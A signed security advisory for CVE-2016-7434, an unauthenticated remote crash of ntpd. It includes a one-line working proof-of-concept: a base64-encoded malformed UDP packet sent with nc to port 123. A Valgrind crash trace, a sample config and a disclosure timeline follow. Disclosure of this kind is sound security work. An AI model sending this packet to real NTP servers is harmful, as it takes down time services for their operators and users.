-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 CVE-2016-7434 ntpd remote pre-auth Denial of Service +----------------------------------------------------------------------------------------------+ Affected: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94 Credit: Magnus Klaaborg Stubman (@magnusstubman) Bug report: http://bugs.ntp.org/show_bug.cgi?id=3082 The vulnerability allow unauthenticated users to crash ntpd with a single malformed UDP packet, which cause a null pointer dereference. +-Proof of concept exploit---------------------------------------------------------------------+ | echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\ | | "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123 | +-------------------------------------------+-----------+--------------------------------------+ +-Valgrind report------------------------------------------------------------------------------+ | $ sudo valgrind ./ntpd/ntpd -n -c ~/resources/ntp.conf | | ==5389== Memcheck, a memory error detector | | ==5389== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. | | ==5389== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info | | ==5389== Command: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf | | ==5389== | | 25 Jun 23:07:05 ntpd[5389]: ntpd 4.2.8p8@1.3265-o Sat Jun 25 20:50:30 UTC 2016 (1): Starting | | 25 Jun 23:07:05 ntpd[5389]: Command line: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf | | 25 Jun 23:07:06 ntpd[5389]: proto: precision = 3.605 usec (-18) | | 25 Jun 23:07:06 ntpd[5389]: switching logging to file /dev/null | | 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 0 ^6wildcard [::]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 1 v4wildcard 0.0.0.0:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 2 lo 127.0.0.1:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 3 eth0 10.0.1.11:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 4 eth0:0 1.2.3.4:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 5 eth9:0 11.11.11.11:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 6 lo [::1]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 7 eth0 [fe80::f2de:f1ff:fe85:75cf%2]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 8 eth9 [fe80::a450:8eff:fecc:9c4%3]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listening on routing socket on fd #25 for interface updates | | ==5389== Invalid read of size 1 | | ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412) | | ==5389== by 0x45704D: estrdup_impl (emalloc.c:128) | | ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041) | | ==5389== by 0x42BB09: receive (ntp_proto.c:659) | | ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329) | | ==5389== by 0x405A58: main (ntpd.c:392) | | ==5389== Address 0x0 is not stack'd, malloc'd or (recently) free'd | | ==5389== | | ==5389== | | ==5389== Process terminating with default action of signal 11 (SIGSEGV) | | ==5389== Access not within mapped region at address 0x0 | | ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412) | | ==5389== by 0x45704D: estrdup_impl (emalloc.c:128) | | ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041) | | ==5389== by 0x42BB09: receive (ntp_proto.c:659) | | ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329) | | ==5389== by 0x405A58: main (ntpd.c:392) | | ==5389== If you believe this happened as a result of a stack | | ==5389== overflow in your program's main thread (unlikely but | | ==5389== possible), you can try to increase the size of the | | ==5389== main thread stack using the --main-stacksize= flag. | | ==5389== The main thread stack size used in this run was 204800. | | ==5389== | | ==5389== HEAP SUMMARY: | | ==5389== in use at exit: 122,458 bytes in 2,707 blocks | | ==5389== total heap usage: 2,875 allocs, 168 frees, 411,190 bytes allocated | | ==5389== | | ==5389== LEAK SUMMARY: | | ==5389== definitely lost: 0 bytes in 0 blocks | | ==5389== indirectly lost: 0 bytes in 0 blocks | | ==5389== possibly lost: 2,000 bytes in 2 blocks | | ==5389== still reachable: 120,458 bytes in 2,705 blocks | | ==5389== suppressed: 0 bytes in 0 blocks | | ==5389== Rerun with --leak-check=full to see details of leaked memory | | ==5389== | | ==5389== For counts of detected and suppressed errors, rerun with: -> | | ==5389== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) | +----------------------------------------------------------------------------------------------+ +-ntp.conf-------------------------------------------------------------------------------------+ | server 127.127.1.0 prefer | | fudge 127.127.1.0 stratum 10 | | driftfile /var/lib/ntp/drift | | broadcastdelay 0.008 | | | | logfile /dev/null | | | | restrict 127.0.0.1 mask 255.255.255.255 nomodify notrap | +----------------------------------------------------------------------------------------------+ +-Timeline-------------------------------------------------------------------------------------+ | 2016-06-24 Discovery | | 2016-06-26 Vendor notification | | 2016-06-26 Vendor acknowledge that the report has been received | | 2016-06-28 Vendor confirms the issue | | 2016-09-29 Vendor provides patch for verification | | 2016-10-01 Researcher acknowledge that the patch mitigates the issue | | 2016-11-21 Public disclosure | +----------------------------------------------------------------------------------------------+ -----BEGIN PGP SIGNATURE----- Version: Keybase OpenPGP v2.0.58 Comment: https://keybase.io/crypto wsFcBAABCgAGBQJYMxbbAAoJEK2PVr7jZKXX0McP/29cApDVlvlsVdNnv9jmlza3 J+69CaitlDpqW4+zpQY12WmajvCOhcCTsjhkNoXcsOQqlVB9WlUyqY9fcyPpDIUi uSF/ILj59Ds0oD4zFnr4O3BS6u/8jcdqqepc6PzljlWYItF58gTpYOw7aD9FoKcm x+qTXBJ/dTgzGI6eNUFn9clwef1KcqEz9yS/3d/zQme6eBb68y1wqwFarzE/TYNq a1tbQ6Dg7A12pAwjCfpWw4QLFPuLQ3NJBFtVmnOrQd7O/rDZL9wDbZpCj8d7nyln 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